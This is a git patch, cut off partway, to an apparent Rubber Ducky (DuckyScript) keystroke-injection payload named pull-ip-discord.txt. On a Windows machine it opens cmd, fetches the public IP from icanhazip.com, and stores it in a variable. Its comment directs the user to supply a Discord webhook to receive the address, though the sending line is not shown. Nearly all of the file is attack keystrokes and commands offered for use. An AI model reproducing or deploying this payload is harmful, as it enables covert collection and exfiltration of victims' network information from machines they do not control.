From bdbc8e544e2ec8fbf4b62b351ea6b8f2b696432c Mon Sep 17 00:00:00 2001 From: rintyuu Date: Sat, 6 Apr 2024 09:46:01 -0700 Subject: [PATCH] update ip discord webhook thing to use variables --- pull-ip-discord.txt | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/pull-ip-discord.txt b/pull-ip-discord.txt index c577212..7280d16 100644 --- a/pull-ip-discord.txt +++ b/pull-ip-discord.txt @@ -1,15 +1,15 @@ -REM replace "YOUR_DISCORD_WEBHOOK_URL" in line 13 to your own discord webhook. to be run on windows systems. -DELAY 1000 +REM to be run on windows systems. replace "YOUR_DISCORD_WEBHOOK_URL" in line 13 to your own discord webhook. +DELAY 500 GUI r DELAY 500 STRING cmd DELAY 500 ENTER -DELAY 1000 -STRING curl ipv4.icanhazip.com > temp.txt +DELAY 500 +for /f "delims=" %i in ('curl ipv4.icanhazip.com') do set IP_ADDR=%i DELAY 500 ENTER DELAY 1000 -STRING set /p IP=